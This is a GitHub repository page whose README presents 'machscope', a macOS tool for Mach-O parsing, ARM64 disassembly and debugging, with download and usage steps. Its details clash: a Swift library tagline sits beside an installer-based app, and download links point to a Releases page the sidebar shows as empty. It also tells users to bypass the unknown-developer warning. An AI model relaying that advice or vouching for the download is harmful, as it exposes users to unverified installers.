Skip to content

πŸ› οΈ Analyze Mach-O binaries on macOS with this Swift tool for parsing, ARM64 disassembly, and process debugging, all without external dependencies.

License

Notifications You must be signed in to change notification settings

sowwwws/machscope

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 

History

10 Commits
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 

Repository files navigation

πŸ› οΈ machscope - Simple macOS Binary Analysis Tool

πŸš€ Getting Started

Welcome to machscope! This application helps you analyze macOS binaries easily. Whether you need to parse Mach-O files, disassemble ARM64 code, check code signatures, or debug, machscope has you covered.

πŸ“₯ Download machscope

Download machscope

To get started, you will need to download the application. You can find the latest version of machscope on the Releases page.

Click the link below to visit the download page:

Visit the Releases Page

πŸ’» System Requirements

Before downloading machscope, ensure your system meets these requirements:

  • Operating System: macOS 10.12 or later
  • Processor: Apple Silicon (ARM64) or Intel
  • Memory: At least 4 GB RAM
  • Disk Space: 100 MB free space

πŸ“¦ Download & Install

  1. Visit the Releases page: Download machscope.
  2. Find the latest version and click on it.
  3. Locate the file marked with .dmg or .pkg. This is the installer for machscope.
  4. Download the file to your computer.
  5. Once downloaded, open the file. You may need to confirm that you want to run it.
  6. Follow the prompts to install machscope. This is usually as simple as dragging the app into your Applications folder.

πŸš€ Running machscope

After installing machscope, you can run the application:

  1. Open your Applications folder.
  2. Find the machscope icon.
  3. Double-click the icon to launch the app.

You'll see a user-friendly interface ready to go.

πŸ” Features

machscope includes several handy features:

  • Mach-O Parsing: Analyze Mach-O binary files and extract information.
  • ARM64 Disassembly: Disassemble ARM64 binaries to view their assembly code.
  • Code Signatures: Verify and examine code signatures for security checks.
  • Debugging Tools: Utilize built-in debugging features to troubleshoot your binaries.

πŸ“– Using machscope

Here’s how to use the main features:

Mach-O Parsing

  1. Click on the "Open" button at the top.
  2. Select the Mach-O file you want to analyze.
  3. Explore the parsed data displayed on the screen.

ARM64 Disassembly

  1. Open a Mach-O file as explained above.
  2. Switch to the "Disassembly" tab.
  3. View the ARM64 assembly code line by line.

Checking Code Signatures

  1. Open the Mach-O file.
  2. Navigate to the "Code Signatures" tab.
  3. Review details about the app’s code signatures and validity.

Debugging

  1. Load a binary file as usual.
  2. Access debugging options from the menu.
  3. Set breakpoints and step through the code.

βš™οΈ Troubleshooting

If you encounter any issues, consider these common steps:

  • App Won't Open: Ensure you have macOS 10.12 or later. If you get a warning saying the app is from an unknown developer, control-click the app and choose β€œOpen” to bypass this warning.
  • Performance Issues: Make sure no other heavy apps are running in the background.
  • Feature Not Working: Ensure you have opened compatible Mach-O files. Consult the Features section for details on supported file types.

πŸ“ž Support

If you need assistance, feel free to reach out through the following channels:

  • Issues Page: You can report issues or ask questions on the Issues Page.
  • Community Forums: Join discussions and get help from other users.

πŸ“„ Contributing

We love contributions! If you want to help improve machscope, check the guidelines on our Contributing Page.

πŸ”— Additional Resources

  • Documentation: Detailed documentation can be found in the wiki section of the repository.
  • Demo Videos: Watch tutorial videos for a visual guide on using each feature.

πŸ› οΈ License

machscope is licensed under the MIT License. See the LICENSE file for more details.

Thank you for using machscope! We hope it makes your binary analysis tasks easier.

Releases

No releases published

Packages

No packages published

Contributors 2

  •  
  •  

Languages